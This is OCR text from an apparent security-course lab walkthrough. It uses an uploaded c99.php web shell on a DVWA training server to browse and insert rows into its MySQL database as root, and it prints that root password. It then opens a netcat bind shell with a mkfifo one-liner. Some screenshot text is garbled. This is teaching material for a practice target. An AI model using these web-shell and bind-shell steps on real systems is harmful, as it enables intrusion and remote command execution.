» Notice Action icons, designated under the yellow arrow. [
to right, the stand for delete, drop and insert.
» Notice you have the ability to Create and Dump the databasc
is also designated with yellow arrows.
o Instructions:

0. Click the users table
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Wed Feb 27, 6:28 A

192.168.1.106 - c99shell %K
\,_4 ‘-V S hitp://192.168,1.106/dvwa/hackable/uploads/c99.php?act=sql&sql_login=root&sql_ pa v C
S BackTrack Linux [Offensive Security KJExploit-DB Wy Aircrack-ng J3SEORG.org gMusicy
Attention! SQL-Manager is NOT ready module! Don't reports bugs.

SQL Manager:
MySQL 5.1.60 (proto v.10) running In localhost:3306 as root@localhost (password - "dvwaPASSWORD™)
[ Index Query | [ Server-status Server variables Processes Logout

Home
There are 2 table(s) In this DB (dvwa).

dvwa eate new table: Dump

¥ guestbook (1) e
© users (5)

¥

Table Rows | Type | Created Modified Size jA((!on

+

guestbook 1 2013-02-26 22:45:08 2013-02-26 22:45:0¢ 36 E | vie Ly b
users

1 ute(s)

Affected rows: 2

=] root@bt: ~/backdoor Y 192.168.1.106-(‘3‘9sh...

3. SQL Insert
o Note(FYI):

» Notice the Action icons, designated under the yellow arrow
each user from left to right, you have the ability to dele
modify their record.

o Instructions:

0. Click the Insert Navigational Link
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¥
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1@ wed Feb 27, 6:39 A
X 192.168.1.106 - c99shell - Mozilla Firefox

H
|

192.168.1.106 - c99shell

Structure Browse Dump Insert

user_id | first_name | last_name | user password avatar

= [=] root@bt: ~/backdoor £ 192.168.1.106 - ¢99sh...

4, Create a new user
o Note(FYI):
* Use your first name and last name for Proof of Lab purpose
o Instructions:
0. user id: 6
first name: Use your actual first name
last name: Use your actual last name
user: student
Select PASSWORD from the drop down
password: hacker
avatar: NA
Click the Confirm Button

NookrwdpE
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Wed Feb 27, 6:45 A

*x 192.168.1.106 - c99shell - Mozilla Firefox

He¢

192.168.1.106 - c99shell

S S hitp://192,168.1.106/dvwa/hackable/uploads/c99.php?act=sql&sql_login=root&sql_pa v.C'

S BackTrack Unux [joffensive Security KJExploit-DB Wy Aircrack-ng F3SEORG.org gMusicy

dvwa Create new table:

¥ guestbook (1)
@ users (5)

Creats

There are 2 table(s) In this DB (dvwa).
Dump DB:

Table users (6 cols and S rows)

Structure Browse Dump Insert

Inserting row into table

Fleld Type

user_Id

first_name

last_name

user

password

avatar

Function Value

* Insert as new row

2 192.168.1.106 - c99sh...

5. Finalize User Creation
o Note(FYI):

= Notice the SQL insert line that will be inserted into the

database. Here,
o Instructions:

the author allows you to tweak it if you

0. Click on the Yes button.
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¥
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Player « v“d:.:'i b = !‘3’1":«5

Wed Feb 27, 6:52

192.168.1.106 - c99shell ® K2

o S http://192.168.1.106/dvwa/hackable/uploads/c99.phpract=sql&sql_login=rootésql_pa v | [#gv Q

S BackTrack Unux [JJOffensive Security KBExploit-DB Wy Aircrack-ng T3SEORG.org gMusicy

There are 2 table(s) in this DB (dvwa).
Do you really want to:

[INSERT INTO users ( id, first name , las “user , password , avatar ) VALUES ( '6’, 'Your, 'Name
student’, PASSWORD (‘hacker’), 'NA' )

*

This is the SQL that will be inserted into the database. Here, the author
allows you to tweak it if you need to.

6. Viewing User Creation Results
o Note(FYI):
= Notice a new student record appears.
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192.168.1.106 - c99shell XK

\.‘-J S) http://192.168.1.106/dvwa/hackable/uploads/c99.php?act=sql&sql_login=root&sql_pa vVC -"v Q

S BackTrack Linux [joffensive Security KNExploit-DB W Aircrack-ng S3SEORG.org gMusic v

Affected rows: 6

12 Command execute ::

=] root@bt: ~/backdoor £) 192.168.1.106 - c99sh..,

Section 15: Use ¢99.php to Bind with Netcat

1. Bind with Netcat
o Instructions:
1. Click on the Bind Navigational Link
2. In the Command execute box enter the below syntax
» mkfifo /tmp/pipe;sh /tmp/pipe | nc -1 4444 > /tmp/pir
3. Click the Execute Button
4. Notice the Connecting Message in the tab.
» This means a netcat session is started

5. Continue to next step
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Player « v ‘w p & = (o
Wed Feb 27, 8:37

) Connecting...

R S F.ttp //192.168.1.106/dvwa/hackable/uploads/c99.phpract=bind&d=%2Fvart%2F

' .Backm\ck Linux -Offenslve Secunty KJExploit-DB W Aircrack-ng S3SEORG.org gMusic v

Free 4.14 GB of 5.17 GB (80 14%)

4
ﬁ *- - “ ? ‘ Encoder Bind Proc. FTP brute Sec. SQL PHP-code Feedback Self
remove Logout

Binding port:
11457

Back connection:
in "nc+l -n v -p <port>"!

12 Command execute ::

i Upload ::

S

g Vaiting for 192.168.1.106...

) 192.168.1.106 BLrA 168.1.106 - c995hell Mozilla F!refox

Section 16: Proof of Lab

1. Proof of Lab
o Instructions:
1. nc 192.168.1.106 4444
» Replace 192.168.1.106 with the DVWA's IP Address obte
(Section 3, Step 3).
2. whoami

3. pwd

4. echo "select * from dvwa.users where user = 'student’;" | mysql -uroot -
pdvwaPASSWORD

5. date

6. echo "Your Name"
o Proof of Lab Instructions:
1. Do a <PrtScn>
2. Paste into a word document
3. Upload to Moodle
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¢ root@bt: ~

root@bt:-# nc 192.168.1.106 4444 @}

whoami «

‘apache

-
/var /wwi/html /dvwa/hackable/uploads

echo “select * from dvwa.users where user = 'student';" | mysql -uroot -pdvwaPASSWORD
user id first name last name user password avatar

r6 Your Name student *9C6C35530EE4427BO7D2FA4F9EL119C3 NA

|

|
date ?
‘Wed Feb 27 11:47:18 CST 2013

echo "Your Name"
NYour Name

I

|

|

W™ ] root@bt: ~ £) 192.168.1.106 - c99sh




